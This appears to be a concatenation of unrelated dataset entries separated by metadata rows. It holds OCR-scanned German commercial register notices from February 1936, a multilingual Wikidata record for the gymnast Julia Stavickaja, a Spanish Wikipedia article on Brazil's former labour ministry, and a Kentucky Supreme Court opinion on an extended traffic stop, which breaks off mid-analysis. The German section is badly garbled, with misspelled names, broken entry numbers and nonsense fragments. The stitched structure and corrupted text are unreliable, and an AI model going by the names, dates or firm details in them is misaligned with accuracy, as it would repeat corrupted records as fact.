Sicherheitsleistung zu verlangen. Rastenburg, den 20. Februar 1936. Amtsgericht. Die Firma G. Moritz Förster in Riesa, ist am 20. Februar 1936 eingetragen worden: Die Gesellschaft ist aufgelöst. Zum Liquidator ist bestellt der Baumeister Robert Förster in Riesa. Amtsgericht Riesa, 21. Februar 1936. Riesa. Auf Blatt 166 des hiesigen Handelsregisters, betr. die Firma Otto Kunze, Kommanditgesellschaft in Strehla, ist am 19. Februar 1936 eingetragen worden: Die Firma ist erloschen. Amtsgericht Riesa, 21. Februar 1936. Rinteln. In das hiesige Handelsregister Abteilung „Allienbrauerei Rinteln in Rinteln“ Direktor Karl Lübben ist durch Tod aus dem Vorstand ausgefallen. An seine Stelle ist Dipl. Brauerei-Ingenieur Otto Kahlert zum Vorstandsmitglied bestellt zur Vertretung der Gesellschaft gemäß § 11 des Gesellschaftsvertrags. Dipl. Brauerei-Ingenieur Otto Kahlert ist durch Tod aus dem Vorstand ausgefallen. An seine Stelle ist bestellt der Brauerei-Ingenieur Karl Sonneborn zur Vertretung der Gesellschaft gemäß § 11 des Gesellschaftsvertrags. Amisgericht Rinteln, 17. 2. 1936. Rinteln. 725861 Im das hiesige Handelsregister Abt. B Nr 88 ist heute bei der Firma „Kiesbagerei „Weßer“ GmbH. in Rinteln“ folgendes eingetragen: Durch Beschluss der Gesellschafterversammlung vom 15. 2. 1936 ist dem Gesellschaftsvertrag ein neuer § 8 hinzugefügt. Amtsgericht Rinteln, 18. 2. 1936. [725871 Handelsregistereintrag: a) Abt. für Einzelfirmen: Am 17. Februar 1936 neu die Firma Johannes Käfer, Messuhrenfabrikation in Schwenningen a. N. Inh. Johannes Käfer, Fabrikant dasselbst. Am 19. Februar 1936 neu die Firma Radiotechnische Fabrik Karl Hopt & Co. in Schörzingen, Inh. Karl Hopt, Techniker dasselbst (s. Reg. f. Gef.Fi. Bd III Bl. 246). b) Abt. für Ges.-Fi. Am 4 Februar 1936 bei der Firma Erhard Stähle, Uhrenfabrik, Gesellschaft mit beschränkter Haftung, Sitz Schwenningen a. N.: Dem Robert Stähle, Werkmeister, und dem Fritz Weiwabel, Expedient, beide in Schwenningen, ist je Einzelprokura erteilt. Am 19. Februar 1936 bei der Firma Radiotechnische Fabrik Karl Hopt & Co. in Schörzingen: Die offene Handelsgesellschaft ist aufgelöst; das Geschäft ist mit der Firma und mit sämtlichen Aktiven und Passiven auf den Gesellschafter Karl Hopt, Techniker dasselbst, übergegangen. Reg. f. Einzelfi. Bd. III Bl. 59). Amtsgericht Rottweil a. N. Rottweil. S Handelsregistereintrag B 128 g Unternehmen mit Firma Hotelbetrieb-Gesellschaft beschränkter Haftung in Höchenschwann: Durch Beschluss der Gesellschaft vom 4 Dezember 1935 ist die Einzelunternehmen „Sußanna Hiener, Hotel- und Krone“ in Höchenschwann, Pomm 1936. Ist sittlich. — Zentralhandelsregisterbeilage zum Handelsregister und Bilanz 1934 ohne Liquidation auf Grund des Gesetzes vom 5. Juli 1934 über die Umwandlung der Hauptgesellschafterin Frau E Renner in Höchenschwann. Die Firma ist erloschen. 2 Handelsregistereintrag A Bd 10 OIZ 109: Firma „Sußanna Hiener, Hotel- und Pension Krone“ in Höchenschwann. Inhaberin ist Frau Sußanna Hiener in Höchenschwann. St. Blasien, 19. 2. 1936. Amtsgericht. Aktiven und Passiven 172589 Im Handelsregister Abteilung 4 ist heute unter Nr. 26 als Inhaber der Firma „Gustav Tilgner, Schlawe, Straßen - Tiefbau - Meliorationen der Steinsetzermeister Gustav Tilgner in Schlawe eingetragen worden. Amtsgericht Schlawe, 20. Februar 1936. Schönau, Schwarzwald. 72590 Handelsregister Elektrizitätswerk Zell i. W., Aktiengesellschaft, in Zell i. W. Ewald Pastor in Zell i. W. ist aus dem Vorstand ausgegangen. Schönau, Schwarzwald, 17. Februar 1936. Amtsgericht. Schönau, Schwarzwald. [72591] Handelsregister Firma Rudolf Wassertamer, Bäckerei und Mehlhandlung, in Todtnau ist erloschen. Schönau, Schwarzwald, 1. Februar Amtsgericht. Schwerte, Ruhr. 7592 Im Handelsregister Abt. B ist bei Nr. 82, Schwerter Ziegelindustrie, G. m. b. H., Schwerte, am 20. 2. 1936 ein getragen: Der Kaufmann Ernst Homel, Schwerte, ist als Geschäftsführer abgerechnet, der Architekt Friedrich Wilhelm Homel, Dortmund, ist zum Geschäftsführer bestellt. Amtsgericht Schwerte. Schwerte, Ruhr. [72593) In Abt. B des Handelsregister ist bei Nr 60, Fa. Fritz Roese, G. m. b. H., Holzen b. Schwerte, am 20. 2. 1936 ein getragen: Durch Gesellschaftsbeschluss vom 23. 1. 1936 ist die Gesellschaft auf Grund des Gesetzes über die Umwandlung von Kapitalgesellschaften vom 5. 7. 1934 in der Weise umgewandelt worden, dass ihr Vermögen einschließlich der Schulden unter Ausschluss der Liquidation auf den Gesellschafter Fritz Roese, Holzen bei Schwerte, mit der Eintragung der Umwandlung übergeht. Fritz Roese führt das Geschäft als Einzelkaufmann unter der Firma Fritz Roese, Bauge Geschäft, Holzen, fort. Die Firma der G. mm. b. H. ist erloschen. Den Gläubigern der G. m. b. H. welche sich binnen sechs Monaten nach vorstehender Bekanntmachung zu diesem Zwecke melden, ist Sicherheit zu leisten, sowohl sie nicht Befriedigung verlangen können. In Abt. A des Handelsregister ist unter Nr 2386 die Fa. Fritz Roese, Bau Geschäft, Holzen, und als deren Alleininhaber der Kaufmann Fritz Roese, Holzen b. Schwerte, am 20. 2. 1936 ein getragen (vgl. oben H-R. B 60). Amtsgericht Schwerte. Bekanntmachung. 172594 Im Handelsregister Abt. A ist heute unter Nr. 1513 die Firma "Wäschenanstalt Frauenlob, Inh.: Louise Pacht" mit dem Sitz in Tilsit und als ihre Inhaberin Frau Louise Pacht geb. Wallat in Tilsit eingetragen worden. Tilsit, den 19. Februar 1936. Amtsgericht. Urach. [72595) Handelsregistereintragungen vom 19. Februar 1936: a) Gesellschaftsfirmenregister: Bei der Firma Gebrüder Randecker, Berufskleidertextilienfabrik, Sitz Urach: Die Firma ist auf die Einzelfirma Hermann Randecker, Bekleidungshaus in Urach, übergegangen. Bei der Firma Brauereien Bräuchle Metzingen R. Th. u. A. Bräuchle, Sitz Metzingen: Der Wortlaut der Firma wurde geändert in: Brauerei Bräuchle Metzingen, R. Th. u. A. Bräuchle. Bei der Firma Albert E. Knecht, Kommanditgesellschaft, Sitz Metzingen: Die Firma ist erloschen. b) Einzelfirmenregister: Firma Hermann Randecker, Bekleidungshaus, Sitz Urach, Inhaber: Hermann Randecker, Kaufmann in Urach; — Bei der Firma Adolf Weiß, Sitz Urach: Die Firma ist erloschen. Amtsgericht Urach. Waiblingen. 72596) Handelsregistereintragung vom 19. Februar 1936: Eine Einzelfirma: Albert Hetz, Sitz Inhaber bert Hetz, Kaufmann in Endersbach. — Amtsgericht Waiblingen. Weißenfels. | 7,799 |
https://www.wikidata.org/wiki/Q18224205 | Wikidata | Semantic data | CC0 | null | Julia Stavickaja | None | Multilingual | Semantic data | 1,080 | 3,555 | Julia Stavickaja
deutsche rhythmische Sportgymnastin
Julia Stavickaja ist ein(e) Mensch
Julia Stavickaja Geschlecht weiblich
Julia Stavickaja Vorname Julia
Julia Stavickaja Geburtsdatum 1997
Julia Stavickaja Land der Staatsangehörigkeit Deutschland
Julia Stavickaja Teilnehmer an Olympische Sommerspiele 2016
Julia Stavickaja Sportart rhythmische Sportgymnastik
Julia Stavickaja Tätigkeit rhythmischer Sportgymnast
Julia Stavickaja Geburtsort Bremen
Julia Stavickaja Team-Deutschland-ID 1884, URL https://www.teamdeutschland.de/de/athleten/detail/a_action/show/a_athletes/1884.html, Grund für die Zurückweisung defekter Weblink
Julia Stavickaja Team-Deutschland-ID julia-stavickaja-1884, Grund für die Zurückweisung Weiterleitung, URL https://www.teamdeutschland.de/de/athleten/detail/a_action/show/a_athletes/julia-stavickaja-1884.html
Julia Stavickaja Team-Deutschland-ID julia-stavickaja
Julia Stavickaja Sports-Reference-Olympiakennung (archiviert) st/julia-stavickaja-1
Julia Stavickaja Olympedia-Personen-ID 130396
Julia Stavickaja Google-Knowledge-Graph-Kennung /g/11b62xtqwr
Julia Stavickaja gesprochene oder publizierte Sprachen Deutsch
Julia Stavickaja
German rhythmic gymnast
Julia Stavickaja instance of human
Julia Stavickaja sex or gender female
Julia Stavickaja given name Julia
Julia Stavickaja date of birth 1997
Julia Stavickaja country of citizenship Germany
Julia Stavickaja participant in 2016 Summer Olympics
Julia Stavickaja sport rhythmic gymnastics
Julia Stavickaja occupation rhythmic gymnast
Julia Stavickaja place of birth Bremen
Julia Stavickaja Team Deutschland athlete ID 1884, URL https://www.teamdeutschland.de/de/athleten/detail/a_action/show/a_athletes/1884.html, reason for deprecated rank link rot
Julia Stavickaja Team Deutschland athlete ID julia-stavickaja-1884, reason for deprecated rank redirect, URL https://www.teamdeutschland.de/de/athleten/detail/a_action/show/a_athletes/julia-stavickaja-1884.html
Julia Stavickaja Team Deutschland athlete ID julia-stavickaja
Julia Stavickaja Sports-Reference.com Olympic athlete ID (archived) st/julia-stavickaja-1
Julia Stavickaja Olympedia people ID 130396
Julia Stavickaja Google Knowledge Graph ID /g/11b62xtqwr
Julia Stavickaja languages spoken, written or signed German
Julia Stavickaja FIG gymnast biography number 31025
Julia Stavickaja
Julia Stavickaja nature de l’élément être humain
Julia Stavickaja sexe ou genre féminin
Julia Stavickaja prénom Julia
Julia Stavickaja date de naissance 1997
Julia Stavickaja pays de nationalité Allemagne
Julia Stavickaja participant à Jeux olympiques d'été de 2016
Julia Stavickaja sport gymnastique rythmique
Julia Stavickaja occupation gymnaste rythmique
Julia Stavickaja lieu de naissance Brême
Julia Stavickaja identifiant Team Deutschland 1884, URL https://www.teamdeutschland.de/de/athleten/detail/a_action/show/a_athletes/1884.html, cause de la dépréciation lien mort
Julia Stavickaja identifiant Team Deutschland julia-stavickaja-1884, cause de la dépréciation redirection d'identifiant, URL https://www.teamdeutschland.de/de/athleten/detail/a_action/show/a_athletes/julia-stavickaja-1884.html
Julia Stavickaja identifiant Team Deutschland julia-stavickaja
Julia Stavickaja identifiant Sports Reference (archivé) st/julia-stavickaja-1
Julia Stavickaja identifiant Olympedia d'une personne 130396
Julia Stavickaja identifiant du Google Knowledge Graph /g/11b62xtqwr
Julia Stavickaja langues parlées, écrites ou signées allemand
Julia Stavickaja identifiant Fédération internationale de gymnastique (sans licence) 31025
Julia Stavickaja
Duits ritmisch gymnast
Julia Stavickaja is een mens
Julia Stavickaja sekse of geslacht vrouwelijk
Julia Stavickaja voornaam Julia
Julia Stavickaja geboortedatum 1997
Julia Stavickaja land van nationaliteit Duitsland
Julia Stavickaja deelgenomen aan Olympische Zomerspelen 2016
Julia Stavickaja sport ritmische gymnastiek
Julia Stavickaja beroep ritmisch gymnast
Julia Stavickaja geboorteplaats Bremen
Julia Stavickaja Deutsche Olympiamannschaft-identificatiecode voor atleet 1884, URL https://www.teamdeutschland.de/de/athleten/detail/a_action/show/a_athletes/1884.html, reden voor afkeuring linkrot
Julia Stavickaja Deutsche Olympiamannschaft-identificatiecode voor atleet julia-stavickaja-1884, reden voor afkeuring doorverwezen identificatiecode, URL https://www.teamdeutschland.de/de/athleten/detail/a_action/show/a_athletes/julia-stavickaja-1884.html
Julia Stavickaja Deutsche Olympiamannschaft-identificatiecode voor atleet julia-stavickaja
Julia Stavickaja Sports-Reference.com-identificatiecode (gearchiveerd) st/julia-stavickaja-1
Julia Stavickaja Olympedia-identificatiecode voor sporter 130396
Julia Stavickaja Google Knowledge Graph-identificatiecode /g/11b62xtqwr
Julia Stavickaja taalbeheersing Duits
Julia Stavickaja FIG-identificatiecode voor turner (zonder licentie) 31025
Yuliya Staviçkaya
Yuliya Staviçkaya anlayışın sinfi insan
Yuliya Staviçkaya cinsi qadın
Yuliya Staviçkaya adı Culiya
Yuliya Staviçkaya doğum tarixi 1997
Yuliya Staviçkaya vətəndaşlığı Almaniya
Yuliya Staviçkaya iştirakçısıdır 2016 Yay Olimpiya Oyunları
Yuliya Staviçkaya idman növü bədii gimnastika
Yuliya Staviçkaya fəaliyyəti bədii gimnast
Yuliya Staviçkaya doğum yeri Bremen
Yuliya Staviçkaya Google Knowledge Graph ID /g/11b62xtqwr
Yuliya Staviçkaya danışdığı və ya yazdığı dillər alman dili
Julia Stavickaja
Julia Stavickaja forekomst av menneske
Julia Stavickaja kjønn kvinne
Julia Stavickaja fornavn Julia
Julia Stavickaja fødselsdato 1997
Julia Stavickaja statsborgerskap Tyskland
Julia Stavickaja deltatt i Sommer-OL 2016
Julia Stavickaja idrettsgren rytmisk gymnastikk
Julia Stavickaja beskjeftigelse rytmisk gymnast
Julia Stavickaja fødested Bremen
Julia Stavickaja Team-Deutschland-ID 1884, URL https://www.teamdeutschland.de/de/athleten/detail/a_action/show/a_athletes/1884.html, grunn for avskriving lenkeråte
Julia Stavickaja Team-Deutschland-ID julia-stavickaja-1884, grunn for avskriving omdirigering, URL https://www.teamdeutschland.de/de/athleten/detail/a_action/show/a_athletes/julia-stavickaja-1884.html
Julia Stavickaja Team-Deutschland-ID julia-stavickaja
Julia Stavickaja Sports-Reference.com olympisk utøver-ID st/julia-stavickaja-1
Julia Stavickaja Olympedia utøver-ID 130396
Julia Stavickaja Google Knowledge Graph-ID /g/11b62xtqwr
Julia Stavickaja talte eller skrevne språk tysk
Julia Stavickaja FIG gymnast-ID (uten «licence») 31025
Julia Stavickaja
Julia Stavickaja instancia de ser humano
Julia Stavickaja sexo o género femenino
Julia Stavickaja nombre de pila Julia
Julia Stavickaja fecha de nacimiento 1997
Julia Stavickaja país de nacionalidad Alemania
Julia Stavickaja participó en Juegos Olímpicos de Río de Janeiro 2016
Julia Stavickaja deporte gimnasia rítmica
Julia Stavickaja ocupación gimnasta rítmico
Julia Stavickaja lugar de nacimiento Bremen
Julia Stavickaja identificador Sports Reference (archivado) st/julia-stavickaja-1
Julia Stavickaja identificador de atleta en Olympedia 130396
Julia Stavickaja identificador Google Knowledge Graph /g/11b62xtqwr
Julia Stavickaja lenguas habladas, escritas o signadas alemán
Julia Stavickaja
Julia Stavickaja primerek od človek
Julia Stavickaja spol ženska
Julia Stavickaja ime Julia
Julia Stavickaja datum rojstva 1997
Julia Stavickaja država državljanstva Nemčija
Julia Stavickaja udeleženec na/v Poletne olimpijske igre 2016
Julia Stavickaja šport ritmična gimnastika
Julia Stavickaja poklic ritmični gimnastičar
Julia Stavickaja kraj rojstva Bremen
Julia Stavickaja oznaka športnika Nemške olimpijske športne zveze 1884, URL https://www.teamdeutschland.de/de/athleten/detail/a_action/show/a_athletes/1884.html, razlog za opustitev venenje povezav
Julia Stavickaja oznaka športnika Nemške olimpijske športne zveze julia-stavickaja-1884, razlog za opustitev preusmeritev, URL https://www.teamdeutschland.de/de/athleten/detail/a_action/show/a_athletes/julia-stavickaja-1884.html
Julia Stavickaja oznaka športnika Nemške olimpijske športne zveze julia-stavickaja
Julia Stavickaja oznaka športnika sports-reference.com (arhivirano) st/julia-stavickaja-1
Julia Stavickaja oznaka osebe v Olympedii 130396
Julia Stavickaja oznaka Google Knowledge Graph /g/11b62xtqwr
Julia Stavickaja govorjeni, pisani ali kretani jeziki nemščina
Julia Stavickaja
Julia Stavickaja instància de ésser humà
Julia Stavickaja sexe o gènere femení
Julia Stavickaja prenom Julia
Julia Stavickaja data de naixement 1997
Julia Stavickaja ciutadania Alemanya
Julia Stavickaja participà en Jocs Olímpics d'Estiu de 2016
Julia Stavickaja esport gimnàstica rítmica
Julia Stavickaja ocupació gimnasta rítmic
Julia Stavickaja lloc de naixement Bremen
Julia Stavickaja identificador Confederació Olímpica Alemanya de l'Esport d'atleta 1884, URL https://www.teamdeutschland.de/de/athleten/detail/a_action/show/a_athletes/1884.html, causa de la descontinuació enllaç trencat
Julia Stavickaja identificador Confederació Olímpica Alemanya de l'Esport d'atleta julia-stavickaja-1884, causa de la descontinuació redirecció, URL https://www.teamdeutschland.de/de/athleten/detail/a_action/show/a_athletes/julia-stavickaja-1884.html
Julia Stavickaja identificador Confederació Olímpica Alemanya de l'Esport d'atleta julia-stavickaja
Julia Stavickaja identificador Sports Reference (arxivat) st/julia-stavickaja-1
Julia Stavickaja identificador Olympedia d'atleta 130396
Julia Stavickaja identificador Google Knowledge Graph /g/11b62xtqwr
Julia Stavickaja llengua parlada, escrita o signada alemany
Julia Stavickaja identificador FIG de gimnasta (sense llicència) 31025
Julia Stavickaja
ximnasta rítmica alemana
Julia Stavickaja instancia de humanu
Julia Stavickaja sexu femenín
Julia Stavickaja nome Julia
Julia Stavickaja fecha de nacimientu 1997
Julia Stavickaja país de nacionalidá Alemaña
Julia Stavickaja participó en Xuegos Olímpicos de Rio de Janeiro 2016
Julia Stavickaja deporte ximnasia rítmica
Julia Stavickaja ocupación ximnasta rítmicu
Julia Stavickaja llugar de nacimientu Bremen
Julia Stavickaja llingües falaes alemán
Julia Stavickaja
Julia Stavickaja instancë e njeri
Julia Stavickaja gjinia femër
Julia Stavickaja emri Julia
Julia Stavickaja data e lindjes 1997
Julia Stavickaja shtetësia Gjermania
Julia Stavickaja pjesëmarrës në Lojërat olimpike verore 2016
Julia Stavickaja vendi i lindjes Bremeni
Julia Stavickaja gjuhë që flet, shkruan ose këndon gjermanisht | 46,773 |
https://es.wikipedia.org/wiki/Ministerio%20de%20Trabajo%20%28Brasil%29 | Wikipedia | Open Web | CC-By-SA | 2,023 | Ministerio de Trabajo (Brasil) | https://es.wikipedia.org/w/index.php?title=Ministerio de Trabajo (Brasil)&action=history | Spanish | Spoken | 481 | 771 | El Ministério do Trabalho e Previdência Social (MTPS) fue un ministerio del Gobierno Federal de Brasil. Fue creado por la presidenta Dilma Rousseff a través del decreto (medida provisória) n.º 696, de 2 de octubre de 2015, siendo resultado de la fusión entre los antiguos ministerios de Trabajo y Empleo y de la Sanidad Social.
El 3 de diciembre de 2018, Onyx Lorenzoni, confirmó que tras 88 años de actividad, el ministerio de trabajo deja de existir durante el gobierno de Jair Bolsonaro. Sus atribuciones fueron distribuidas entre los ministerios de Economía, de Ciudadanía y de Justicia y Seguridad Pública. El último titular del ministerio fue Caio Luiz de Almeida Vieira de Mello, durante el gobierno de Michel Temer.
Competencias
Sus competencias comprendían los siguientes asuntos: política y directrices para la generación de empleo, renta y apoyo al trabajador; política y directrices para la modernización de las relaciones de trabajo; fiscalización del trabajo, inclusive del trabajo portuario, así como aplicación de las sanciones previstas en normas legales o colectivas; política salarial; formación y desarrollo profesional; seguridad y salud en el trabajo; política de inmigración; y cooperativismo y asociacionismo. Realiza anualmente una encuesta llamada Relación Anual de Informaciones Sociales (RAIS) sobre todos los aspectos del trabajo y los empresarios brasileños. Tiene competencias también sobre jubilaciones, auxilio social, enfermedades laborales y previsión social.
Denominaciones oficiales
Ministerio del Trabajo, Industria y Comercio, el 26 de noviembre de 1930.
Ministerio del Trabajo y Sanidad Social, el 22 de julio de 1960.
Ministerio del Trabajo, el 1 de mayo de 1974.
Ministerio del Trabajo y de la Sanidad Social, el 11 de enero de 1990.
Ministerio del Trabajo y de la Administración Federal, el 13 de mayo de 1992.
Ministerio del Trabajo y Empleo, el 1 de enero de 1999.
Ministerio del Trabajo y Sanidad Social, el 2 de octubre de 2015.
Ministerio del Trabajo, el 12 de mayo de 2016.
Seguro de desempleo
El seguro de desempleo es un derecho incluido en la Carta de la Seguridad Social garantizado por el artículo 7, Derechos Sociales, de la Constitución Federal de 1988. Tiene como objetivo proporcionar asistencia temporal a trabajadores dados de alta de manera involuntaria.
Aunque ya estaba previsto en la Constitución de 1946, fue introducido en Brasil en 1986, mediante el Decreto-Ley N.º 2.284, del 10 de marzo de 1986 y reglamentada por el Decreto N.º 92608 de 30 de abril de 1986.
Tras la Constitución de 1988, el beneficio del seguro de desempleo pasó a formar parte del Programa de Seguro de desempleo que tiene como objetivo, además de proporcionar asistencia temporal a trabajadores desempleados a causa de despido sin causa, incluyendo una ayuda para el mantenimiento y la búsqueda de empleo, promoviendo tanto las acciones integradas para la orientación, recolocación y la calificación profesional.
Véase también
Ministerios de Brasil
Referencias
Enlaces externos
(en portugués)
Ministerios de Estado de Brasil
Trabajo en Brasil | 30,361 |
4581776_1 | Court Listener | Open Government | Public Domain | 2,020 | None | None | English | Spoken | 3,961 | 6,148 | RENDERED: OCTOBER 29, 2020
TO BE PUBLISHED
Supreme Court of Kentucky
2019-SC-0087-DG
COMMONWEALTH OF KENTUCKY APPELLANT
ON REVIEW FROM COURT OF APPEALS
V. NO. 2017-CA-1539
FAYETTE CIRCUIT COURT NO. 17-CR-00507
LEECOLE MITCHELL APPELLEE
OPINION OF THE COURT BY JUSTICE KELLER
AFFIRMING IN PART, REVERSING IN PART, AND REMANDING
LeeCole Mitchell entered a conditional guilty plea to the charge of felon in
possession of a handgun, reserving the right to appeal the trial court’s denial of
his motion to suppress evidence obtained from the search of a vehicle in which
he was a passenger. The Court of Appeals reversed the trial court’s denial of
Mitchell’s suppression motion finding the stop was impermissibly extended.
Furthermore, the Court of Appeals held as precluded the Commonwealth’s
argument that officers had reasonable suspicion to justify the extension. We
affirm the Court of Appeals’ holding that Mitchell’s stop was impermissibly
extended but reverse the Court of Appeals’ conclusion that the
Commonwealth’s reasonable suspicion argument was precluded, and remand
to the trial court for additional factual findings and conclusions of law as to the
officers’ reasonable suspicion.
I. FACTUAL AND PROCEDURAL BACKGROUND
In April 2017, Officer Nathan Barks (Barks) was working off duty at a
Walmart on Richmond Road in Lexington when he heard a car screeching its
tires upon exiting the parking lot. Barks immediately got into his patrol car and
initiated pursuit of the vehicle. Barks made the stop at a traffic light near the
intersection of South Locust Hill Road and Richmond Road. Upon approaching
the driver’s side of the car, Barks became concerned that the driver was going
to pull away. He immediately smacked the rear of the vehicle to get the driver's
attention which was successful in stopping the vehicle. Mitchell was a
passenger in the vehicle's right rear seat.
The driver, William Mitchell (hereafter William), LeeCole Mitchell’s
brother, told Barks the tire squealing was caused by a mechanical issue. Both
William and the front seat passenger, Christopher Easley, became somewhat
argumentative, while Mitchell purportedly avoided eye contact with Barks from
the rear seat. About two minutes after Barks effectuated the stop, Officer Eldar
Agayev (Agayev) arrived as backup. Agayev obtained driver’s licenses from all
three passengers while Barks began manually filling out a citation for William.
Approximately 12 minutes after the initial stop and Agayev had
completed his background check on the occupants, the officers had a
discussion for another two to three minutes about whether to request a canine
unit. Agayev had encountered William before and recalled he had been involved
2
in narcotics activities. A records check revealed that Mitchell had a criminal
history, including firearm-related offenses. The area in question was Agayev's
regular beat, and he testified he had conducted narcotics investigations and
arrests in the Walmart parking lot in the past. Both officers characterized the
area as a high crime area. Further, both officers testified that Mitchell avoided
eye contact with them. Barks also testified that he observed Mitchell “digging
around” the seat or floorboard area of the car while he questioned William.
The officers spent a few minutes discussing whether to call for the canine
unit and then made the request. Initially, Barks was told by dispatch that no
dog was available, but, approximately a minute later, the officers were told a
canine unit was available and en route to the stop location. Immediately after
this notification, Agayev told Barks to take his time filling out the citation. This
exchange occurred approximately sixteen minutes after the stop had been
initiated. At the suppression hearing, Agayev testified that he did not intend for
Barks to extend the stop to allow time for the canine unit to arrive. He testified
that his statement was to reassure Barks, who had been a member of the
police department for only about a year, to carefully complete the citation and
not be pressured in filling it out. However, Agayev admitted at the hearing that
no one in the vehicle had been exerting pressure upon Barks to complete the
citation quickly.
The canine officer arrived approximately twenty-eight to twenty-nine
minutes after the stop, contemporaneous with Barks’s completion of the
citation. The officers then removed the occupants from the vehicle. Upon
3
exiting the vehicle, Mitchell told the officers it contained his firearms. The
officers found two pistols and a rifle in the vehicle. Mitchell was arrested and
charged with possession of a handgun by a convicted felon. Mitchell was
indicted by the Fayette County Grand Jury for being a convicted felon in
possession of a handgun. In July 2017, Mitchell filed a motion to suppress the
evidence seized during the stop, arguing the traffic stop was impermissibly
prolonged beyond its original purpose and violated his Fourth Amendment
rights.
The trial court held a suppression hearing at which Officers Barks and
Agayev testified. At the close of the evidence at the hearing, defense counsel
stated, “[t]here are a lot of different arguments I’d like to make, and I’d like
leave to brief the court.” The trial court replied, “[i]t’s a pretty simple issue, I
think.” The trial court then engaged in an extended colloquy with both
Mitchell’s counsel and the Commonwealth. During the back and forth
conversation the Commonwealth argued not only that the stop was not
impermissibly extended, but also that the officers had reasonable suspicion to
justify extending the stop beyond its original purpose. The defense made
counter arguments to both points. At one point, the trial court, on its own
initiative, called Barks back to the stand.1 The court asked Barks a series of six
1 The video record of the hearing starts with Barks being initially called to the
stand, so it is unclear whether Kentucky Rule of Evidence 615, “Exclusion of
Witnesses,” was invoked prior to his initial testimony. The recall of Barks occurred
approximately ten minutes into the discussion with trial counsel, a period of time in
which both Barks and Agayev were in the courtroom. Whether KRE 615 was invoked
or not, neither counsel objected to Barks’s recall. During the period prior to Barks’s
recall, the trial judge and lawyers discussed multiple issues including the extended
4
questions over a period of about five minutes. The court elicited additional
specific details about the stop, including the timing of Barks’s completion of
the citation, his state of mind as the stop progressed, and his interpretation of
Agayev’s directive to take his time filling out the citation. As we noted, Barks
was in the courtroom as the trial court and counsel discussed the importance
of these elements and it is difficult to imagine that such knowledge did not
influence his answers, even if only subconsciously.
Once Barks was permitted to step down again, the court took about
another ten minutes to engage in further discussions with counsel and wrap
up the hearing. In making its ruling, the court made limited findings of fact on
the record. The trial court definitively stated that: (i) the initial traffic stop was
lawful; (ii) Agayev arrived approximately two minutes after the initial stop; (iii)
the discussion of whether to call for a canine started approximately eleven
minutes after Agayev’s arrival; (iv) officers were informed that a dog was on the
way approximately four minutes after initiating the discussion (three minutes
for discussion plus time to talk on the radio); (v) the dog arrived approximately
twenty-nine minutes after the stop was initiated; (vi) Agayev, as the senior
officer, used the opportunity to teach Barks about calling for a dog; and (vii)
the court did not believe the stop was extended to allow for the canine’s arrival.
From these facts, the court concluded that the resulting delay was not
discussion of the need for the dog, Agayev’s comment to “take your time filling out the
citation,” whether officers had engaged in “deliberate gamesmanship,” and whether
officers had a reasonable articulable suspicion to justify the stop’s extension. Barks
heard all of this conversation before being called back to the witness stand.
5
unreasonable and denied Mitchell’s motion to suppress without addressing
whether the officers had independent reasonable suspicion to extend the stop.
As stated, the vast majority of the discussion centered on whether the
call for the canine impermissibly extended the stop and whether Agayev’s
directive to Barks to take his time writing the citation indicated a willful delay
on the part of the officers to facilitate the dog’s arrival. The very limited
discussion about reasonable suspicion was conducted in a free-flowing
manner, acknowledging both parties’ interpretation of the night’s events. The
court made no express factual findings that would form a basis to determine
whether reasonable, articulable suspicion existed to justify extending the stop.
The court’s written order was sparse, stating only, “[a]fter considering the
motion and testimony and arguments by counsel, the Motion is OVERRULED
for the reasons stated on the record.” Mitchell eventually entered a conditional
guilty plea to the charge of convicted felon in possession of a handgun,
reserving the right to appeal the denial of his motion to suppress evidence
obtained from a vehicle in which he was a passenger.
The Court of Appeals unanimously reversed the trial court. The Court of
Appeals held that it was unrefuted that the officers deferred completion of the
stop beyond its original purpose to discuss and then request the canine search,
a purpose totally unrelated to the original stop. Furthermore, the court held
that the Commonwealth was precluded from arguing reasonable suspicion of
criminal activity as a justification for the extension. It based its preclusion on
the fact the trial court did not make specific findings regarding the reasonable
6
suspicion argument and the Commonwealth failed to request such specific
findings.
II. STANDARD OF REVIEW
Kentucky Rule of Criminal Procedure (“RCr”) 8.27 governs motions to
suppress evidence and requires the trial court to “state its essential findings on
the record.”2 A trial court’s denial of a motion to suppress is reviewed under a
two-prong test. First, we review the trial court's findings of fact under the
clearly erroneous standard.3 Under this standard, the trial court's findings of
fact will be conclusive if they are supported by substantial evidence.4 Second,
we review de novo the trial court’s application of the law to the facts.5 In the
current case, neither party argues the trial court’s limited findings of fact are
clearly erroneous and the issue turns on the second prong of our test: did the
trial court properly apply the facts to the law?
III. ANALYSIS
The Commonwealth urges this Court to reverse the Court of Appeals. The
Commonwealth argues that the Court of Appeals erred in finding the stop of
Mitchell was impermissibly extended, or in the alternative, the Court of Appeals
2 RCr 8.27(5), RCr 8.20(2); see also CR 52.01.
3 A factual finding is not clearly erroneous if it is supported by substantial
evidence, that is, “evidence of substance and relevant consequence having the fitness
to induce conviction in the minds of reasonable men.” Owens–Corning Fiberglas Corp.
v. Golightly, 976 S.W.2d 409, 414 (Ky. 1998) (citations omitted).
Davis v. Commonwealth, 484 S.W.3d 288, 290 (Ky. 2016) (citing Simpson v.
4
Commonwealth, 474 S.W.3d 544, 547 (Ky. 2015)).
5 Turley v. Commonwealth, 399 S.W.3d 412, 417 (Ky. 2013).
7
erred in failing to consider whether the officers had reasonable suspicion,
independent of the initial stop’s justification, to extend the stop to allow for the
dog sniff. “It has long been considered reasonable for an officer to conduct a
traffic stop if he or she has probable cause to believe that a traffic violation has
occurred.”6 Furthermore, an officer’s subjective motivations for the stop are not
relevant, “[a]s long as an officer ‘has probable cause to believe a civil traffic
violation has occurred[.]”7
While officers may detain a vehicle and its occupants to conduct an
ordinary stop, such actions may not be excessively intrusive and must be
reasonably related to the circumstances justifying the initial seizure.8 The
Supreme Court in Rodriguez v. United States said that even de minimis delays
fail a constitutional test absent other circumstances.9 An officer’s ordinary
inquiries incident to traffic stops do not impermissibly extend such stops.10
Included in such ordinary inquiries are an officer’s review of the driver’s
information, auto insurance and registration, and performing criminal
background checks of the driver and any passengers during the otherwise
lawful traffic stop.11 In order to extend the stop beyond the time required to
Commonwealth v. Bucalo, 422 S.W.3d 253, 258 (Ky. 2013) (citing Wilson v.
6
Commonwealth, 37 S.W.3d 745 (Ky. 2001)).
7 Id. (quoting Wilson, 37 S.W.3d at 749); see also Davis, 484 S.W.3d at 291.
8 Davis, 484 S.W.3d at 292 (citing Turley, 399 S.W.3d at 421).
9 575 U.S. 348, 357 (2015) (emphasis added).
